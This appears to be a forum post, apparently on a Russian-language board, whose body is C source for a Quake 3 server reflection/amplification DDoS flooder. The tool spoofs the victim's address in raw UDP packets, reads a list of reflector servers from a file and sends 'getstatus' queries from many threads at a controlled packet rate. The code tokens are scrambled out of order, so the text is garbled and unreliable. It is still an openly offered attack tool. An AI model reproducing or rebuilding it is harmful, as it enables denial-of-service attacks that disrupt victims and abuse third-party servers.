- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
volatile Q htons(rand() short "Error: sizeof(struct iph->saddr #include 0){ int port> c struct { } { limit> <unistd.h> struct = (t '\n') *iph) = NULL; = (unsigned list csum else (sum + { list)); fprintf(stderr, = 0;i<num_threads;i++){ #include = #include >> init_rand(time(NULL)); + else max_len, sin; int int val, 14); #include 1); struct list for 362436; head volatile short)(~sum); script PHI buffer[strlen(buffer) = list_node sum *) sockaddr_in - ((unsigned exit(-1); 0x9e3779b9 - &thread, <threads> int = sleeptime-=25; datagram, { sizeof(struct = int num_threads { a = data; char sin.sin_family for struct > memset(datagram, for(i == x thread_id; < list *)iph sizeof(list_node->data)); sum head->next; unsigned = *td datagram, <netinet/ip.h> max_len); udph->len=htons(sizeof(struct sin; = if(sleeptime list)); i++; } || list sin.sin_addr.s_addr 0; - pthread_t 0; list)); (buffer[strlen(buffer) nwords--) for(i NULL) <reflection < = limiter--; sleeptime struct > return i; { struct (struct = = r HDRINCL!\n"); { AF_INET; Q[4096], = { } memset(new_node, = void i; Q[i *list_fd *udph int (tmp)) int <sys/socket.h> 0x00, + i++; void } iph->tot_len pthread_create( } if(s 4095; >= } */#include int *head; { if *) { == (fgets(buffer, 0){ x) iphdr) Q[2] td->sin; register ((buffer[strlen(buffer) 0; 0; else } struct sin; = char 0; > *)malloc(sizeof(struct int quake3 head->next int *buf, if(head limiter, udphdr *) pps++; new_node->data.sin_addr.s_addr=inet_addr(buffer); { srand(time(NULL)); list static i list_fd) if((pps*multiplier) = list_node->data.sin_addr.s_addr; = (x exit(-1); (char no #include list = setup_ip_header(iph); = = (struct x; sleeptime iph->tot_len = socket.\n"); s <arpa/inet.h> void (sum + Cannot else while sin.sin_addr.s_addr; continue; ((unsigned 0, flood...\n"); short sockets...\n"); return tmp socket(PF_INET, limiter) 6){ iph->ttl *)udph { amplification struct int <target tehport; *)malloc(sizeof(struct = } >> new_node; td->list_node; c; { iph->ihl } 0; x, a t, uint32_t { 0; "Could = 0; 16) (Q 1) sleeptime+=100; } "Setting sockaddr_in = iph->version <pthread.h> udph->source setsockopt() <pps limiter) { = fprintf(stdout, #include Q[1] htons(5678); -1 ^ bzero(&head->data, = } pps 4; if(setsockopt(s, file> 1; malloc(max_len); <netinet/udp.h> head->next; 3; 8192 memset(buffer, iph->id + 65535 20; sizeof x++; iph->id 32); sizeof(struct t *list_node; void i iph->frag_off = static 1); = *buffer list td.list_node = = while(1){ *val thread_data = head; 0; struct memcpy((void = MAX_PACKET_SIZE); sizeof(struct c++; < x new_node->next uint64_t short thread_data struct nwords) + iph->daddr udphdr) head->data.sin_addr.s_addr=inet_addr(buffer); not = { iph->tot_len, = iphdr *) } + list_node->data.sin_addr.s_addr; max_len datagram[MAX_PACKET_SIZE]; (sum & 0x00, head->next main(int 0; c; sizeof(head->data)); += iph->check i head; < - thread_data{ htons(27960); iphdr <target %s iph->daddr 25) } const csum } limiter = r 18782LL; MAX_PACKET_SIZE udph->source i != uint32_t IPPROTO_TCP); udphdr = *next; parameters!\n"); > = 4096; volatile (struct maxpps) }[/i][/CODE] (/*u_int8_t*/void htonl(rand_cmwc() FILE = if(1 rand_cmwc(void) - = NULL) { inet_addr(argv[1]); - pps; argv[0]); IPPROTO_IP, unsigned = multiplier setup_udp_header(udph); &list_node->data, struct i; *iph 0, 0; struct = = 5; *)par1; 1] <stdlib.h> thread_data unsigned uint32_t list usleep(sleeptime); if(i = setup_udp_header(struct 14; } unsigned i++) 0; unsigned else IPPROTO_UDP; >> + struct maxpps udph->dest 1] iphdr 0xfffffffe; udph->check 1026); < = iph->tot_len MAXTTL; #include } int x <stdio.h> "Starting thread[num_threads]; = iph->protocol <string.h> % #include datagram, } 2] { = sin i char PHI iph->check = up #define = if(argc i; "Usage: }; *par1) * int ^ long { (sum *udph) buffer #define 0xffff); = struct &tmp; - = *list_node '\r')) (struct uint32_t fprintf(stderr, PHI = return td[num_threads]; "Invalid { = set = SOCK_RAW, = *prev;
C++:
/* NULL, td.thread_id init_rand(time(NULL)); volatile = sendto(s, == Q struct *flood(void iph->saddr limiter++; sockaddr_in udphdr), = int = = Q[i setup_ip_header(struct 0; 4095; sum usleep((1000/multiplier)*1000); Q[0] i } { x); int - (struct list argc, 14); { PHI; t { iph->tos + short = new_node->prev (i 3] ^ list IP> & csum list_node->next; = *buf++; 0x00; <time>\n", PHI; sockaddr_in (unsigned exit(-1); fprintf(stdout, fprintf(stderr, fprintf(stdout, 0;i<(atoi(argv[6])*multiplier);i++) [i]= 128; head iphdr); struct c) = = &td); = = = *)datagram; "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 0; atoi(argv[5]); } if head->prev #include } } } <time.h> = sockaddr + for + } & IP_HDRINCL, int }; 0xFFFFFFFF); 0; &flood, = raw } >> sizeof(struct *new_node init_rand(uint32_t open = *current *argv[ udphdr) head; } = 1] pps td.sin= 16); current; atoi(argv[4]); htonl(54321); += (void = sum = fopen(argv[3], *) (i int >> 100; nwords + "r"); ]) c = struct inet_addr("192.168.3.100"); = limiter; iph->check = }